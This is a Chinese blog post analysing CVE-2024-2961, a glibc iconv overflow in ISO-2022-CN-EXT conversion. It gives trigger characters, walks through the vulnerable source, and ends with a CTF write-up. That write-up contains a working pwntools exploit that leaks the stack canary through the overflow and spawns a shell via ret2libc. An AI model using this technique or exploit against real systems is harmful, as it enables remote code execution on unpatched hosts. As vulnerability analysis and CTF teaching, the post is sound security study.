CVE-2024-2961

collectcrop Lv3

一、利用目的

在二进制程序调用iconv这个glibc函数时,或是在PHP从一个字符集转换到另一个字符集调用iconv这个API时,其中当编码转换为ISO-2022-CN-EXT时,iconv有可能会产生缓冲区溢出

二、利用方式

以从UTF-8转义到ISO-2022-CN-EXT为例。要触发此漏洞,我们需要迫使iconv()在输出缓冲区结束前发出一个转义序列。为此,我们可以使用诸如“劄”、“䂚”、“峛“等特殊字符。这将导致1到3字节的溢出,其溢出内容如下:

1
2
3
4
字符 |		溢出内容		|		原UTF-8表示
劄 $*H [24 2A 48] \xe5\x8a\x84
䂚 $+J [24 2B 4A] \xe4\x82\x9a
峛 $*H [24 2A 48] \xe5\xb3\x9b

三、漏洞原理

先贴一张2.27libc中的漏洞点关键代码,具体可在pathToYourLibc/iconvdata/iso-2022-cn-ext.c中查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define ESC	0x1b
enum{
ASCII_set = 0,
GB2312_set, //1
GB12345_set, //2
CNS11643_1_set, //3
ISO_IR_165_set, //4
SO_mask = 7,

GB7589_set = 1 << 3,
GB13131_set = 2 << 3,
CNS11643_2_set = 3 << 3,
SS2_mask = 3 << 3,

GB7590_set = 1 << 5,
GB13132_set = 2 << 5,
CNS11643_3_set = 3 << 5,
CNS11643_4_set = 4 << 5,
CNS11643_5_set = 5 << 5,
CNS11643_6_set = 6 << 5,
CNS11643_7_set = 7 << 5,
SS3_mask = 7 << 5,
}
...........................................................
/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8))
{
const char *escseq;

if (outptr + 4 > outend)
{
result = __GCONV_FULL_OUTPUT;
break;
}

assert (used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8))
{
const char *escseq;

assert (used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8))
{
const char *escseq;

assert ((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS3_ann) | (used << 8);
}

if (used == CNS11643_2_set)
{
if (outptr + 2 > outend)
{
result = __GCONV_FULL_OUTPUT;
break;
}
*outptr++ = SS2_0;
*outptr++ = SS2_1;
}
else if (used >= CNS11643_3_set && used <= CNS11643_7_set)
{
if (outptr + 2 > outend)
{
result = __GCONV_FULL_OUTPUT;
break;
}
*outptr++ = SS3_0;
*outptr++ = SS3_1;
}
else
{
/* We only have to emit something if currently ASCII is
selected. Otherwise we are switching within the
SO charset. */
if (set == ASCII_set)
{
if (outptr + 1 > outend)
{
result = __GCONV_FULL_OUTPUT;
break;
}
*outptr++ = SO;
}
}

/* Always test the length here since we have used up all the
guaranteed output buffer slots. */
if (outptr + 2 > outend)
{
result = __GCONV_FULL_OUTPUT;
break;
}
}
else if (outptr + 2 > outend)
{
result = __GCONV_FULL_OUTPUT;
break;
}

*outptr++ = buf[0];
*outptr++ = buf[1];
set = used;
}

/* Now that we wrote the output increment the input pointer. */
inptr += 4;
}

其中比较重要的是知道各种mask是掩码,与目标进行按位与操作时可以提取出掩码对应位的值,也就是提取出特征信息

used是当前正在处理的字符所属字符集的标识

set是当前的字符集标识

ann(annouce)是一个变量,用于记录已声明的字符集。

outptr 是指向当前输出缓冲区位置的指针。

outend 是指向输出缓冲区末尾(或可用空间的结束)的指针。

inptr 是指向当前输入缓冲区位置的指针

三种不同的字符集

在字符编码转换中,SO(Shift Out)、SS2(Single Shift 2)和SS3(Single Shift 3)是用于指示不同字符集的特殊控制字符或转义序列。它们在处理多字节字符集(如ISO-2022)时尤其重要。以下是它们的区别和作用:

SO (Shift Out)
  • 用途: SO(Shift Out)是一个控制字符,用于从单字节字符集切换到多字节字符集。
  • 控制字符: 通常表示为0x0E。
  • 作用: 在ISO-2022编码中,SO字符表示后续的字节将使用特定的多字节字符集,直到遇到SI(Shift In)字符为止。SO和SI字符用于在ASCII和其他字符集之间切换。
SS2 (Single Shift 2)
  • 用途: SS2(Single Shift 2)是一个转义序列,用于临时从主字符集切换到第二辅助字符集,仅影响紧随其后的一个字符。
  • 控制字符: 通常表示为0x8E。
  • 作用: 在处理多字节字符时,SS2指示紧随其后的一个字节应被解释为第二辅助字符集中的字符。使用SS2字符可以在不改变当前字符集的情况下使用不同的字符集中的字符。
SS3 (Single Shift 3)
  • 用途: SS3(Single Shift 3)是一个转义序列,用于临时从主字符集切换到第三辅助字符集,仅影响紧随其后的一个字符。
  • 控制字符: 通常表示为0x8F。
  • 作用: 类似于SS2,SS3指示紧随其后的一个字节应被解释为第三辅助字符集中的字符。它允许在不改变当前字符集的情况下使用第三辅助字符集中的字符。

具体不同字符集所属的类别可见源码中的枚举,mask掩码上方的字符集都是该类型的字符集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
enum{
ASCII_set = 0,
GB2312_set, //1
GB12345_set, //2
CNS11643_1_set, //3
ISO_IR_165_set, //4
SO_mask = 7,

GB7589_set = 1 << 3,
GB13131_set = 2 << 3,
CNS11643_2_set = 3 << 3,
SS2_mask = 3 << 3,

GB7590_set = 1 << 5,
GB13132_set = 2 << 5,
CNS11643_3_set = 3 << 5,
CNS11643_4_set = 4 << 5,
CNS11643_5_set = 5 << 5,
CNS11643_6_set = 6 << 5,
CNS11643_7_set = 7 << 5,
SS3_mask = 7 << 5,
}
实际运行中的 used 及其对应分支

以UTF-8转义到ISO-2022-CN-EXT为例

具体哪一个 used 的值被设置,取决于UTF-8输入字符在ISO-2022-CN-EXT字符集中的对应字符集。例如:

  • 如果输入字符是GB2312字符集中的字符,used 将被设置为 GB2312_set(值为1)。
  • 如果输入字符是CNS11643-2字符集中的字符,used 将被设置为 CNS11643_2_set(值为24)。
  • 如果输入字符是CNS11643-3字符集中的字符,used 将被设置为 CNS11643_3_set(值为96)。

假设当前输入字符在GB2312字符集中,used 将被设置为 GB2312_set(1),并进入第一个 if 分支,发出对应的转义序列。类似地,对于其他字符集,used 将被设置为相应的值,并进入对应的 if 分支。

具体执行过程

1. 检查是否需要发出转义序列:首先检查当前使用的字符集(set)是否与目标字符集(used)不同。如果不同,则需要发出转义序列。

2. 判断是否已经声明使用该字符集

我们现在详细分析下3个if分支的条件

if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8))

  • used & SO_mask 在目标字符集类型为SO时不为0

  • (ann & SO_ann) != (used << 8)用于检测是否声明过该字符集

  • 如果目标字符集是SO类型且未声明,则生成相应的转义序列。

else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8))

  • 如果目标字符集是SS2类型且未声明,则生成相应的转义序列。

else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8))

  • 如果目标字符集是SS3类型且未声明,则生成相应的转义序列。

实际我们发现只有在SO的分支里有一段边界检测的代码

1
2
3
4
5
if (outptr + 4 > outend)				      
{
result = __GCONV_FULL_OUTPUT;
break;
}

那么我们要利用漏洞,首先就要输入一个SS2字符集或SS3字符集的字符。

3.生成转义序列

  • 根据used字符集的类型,选择相应的转义序列,并写入输出缓冲区outptr。<—关键漏洞点
  • 更新已声明的字符集ann

escseq 是一个指向字符数组的指针,用于存储转义序列(escape sequence)。这些转义序列用于在输出数据中标识字符集的切换或特定字符的编码方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const char *escseq;

// 例如,用于 SO 的情况
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

// 例如,用于 SS2 的情况
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

// 例如,用于 SS3 的情况
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

4.为特定字符集生成额外的字节

  • 如果usedCNS11643_2_set,且outptr + 2 <= outend则会加上ESC(即0x1b)与0x4e的后缀。
  • 如果usedCNS11643_3_setCNS11643_7_set之间,且outptr + 2 <= outend则会加上ESC与0x4f的后缀。

5.切换到ASCII字符集时发出SO字节:如果当前字符集是ASCII需要切换,且outptr + 1 <= outend,则加入0x0e后缀。

6.检查输出缓冲区长度:确保在写入新的字节前输出缓冲区outptr有足够的空间,否则返回__GCONV_FULL_OUTPUT错误。

7.改变当前字符集(若与目标字符集不同)set = used;

8.自增输入指针:处理完一个字符后,增加输入指针inptr

四、实例分析

XGCTF [echo]

64位程序开了canary保护,最后有个明显的往s里读0x60字节的栈溢出,那么我们就要想办法先得到canary的值。我们发现canary实际存在var_8处,而最后iconv函数实际对输入进行换编码后会存0x26字节到s中,s与canary之间只差0x28个字节,那么我们利用iconv的漏洞,先填充0x25个垃圾字符,最后写一个会触发漏洞的字符,就可以溢出3字节刚好把canary低位的00给覆盖了,那么printf("%s",s)就能直接把canary的值打印出来了。

之后有了canary,又能栈溢出,直接ret2libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf-8
from pwn import *
context(arch="amd64",log_level="debug")

#p = process("./echo")
p = remote("pwn.challenge.ctf.show",28257)
libc = ELF("./libc-2.27.so")
elf = ELF("./echo")
p.send("a"*0x25 + "劄")
p.recvuntil(b"\x48")
canary = u64(p.recv(7).rjust(8,b"\x00"))
log.success("canary:"+hex(canary))
pop_rdi_ret = 0x401493
ret_add = 0x40101a
main_add = 0x401256
p.sendline(b"a"*0x28 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main_add))

libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - libc.sym["puts"]
log.success("libc_base:"+hex(libc_base))
system_add = libc_base + libc.sym["system"]
bin_sh_add = libc_base + next(libc.search(b"/bin/sh\x00"))

p.send("collectcrop")
payload2 = b"a"*0x28 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(bin_sh_add) + p64(ret_add) + p64(system_add)
p.sendline(payload2)
p.interactive()

  • 标题: CVE-2024-2961
  • 作者: collectcrop
  • 创建于 : 2024-09-21 18:56:13
  • 更新于 : 2024-11-23 19:44:23
  • 链接: https://collectcrop.github.io/2024/09/21/CVE-2024-2961/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。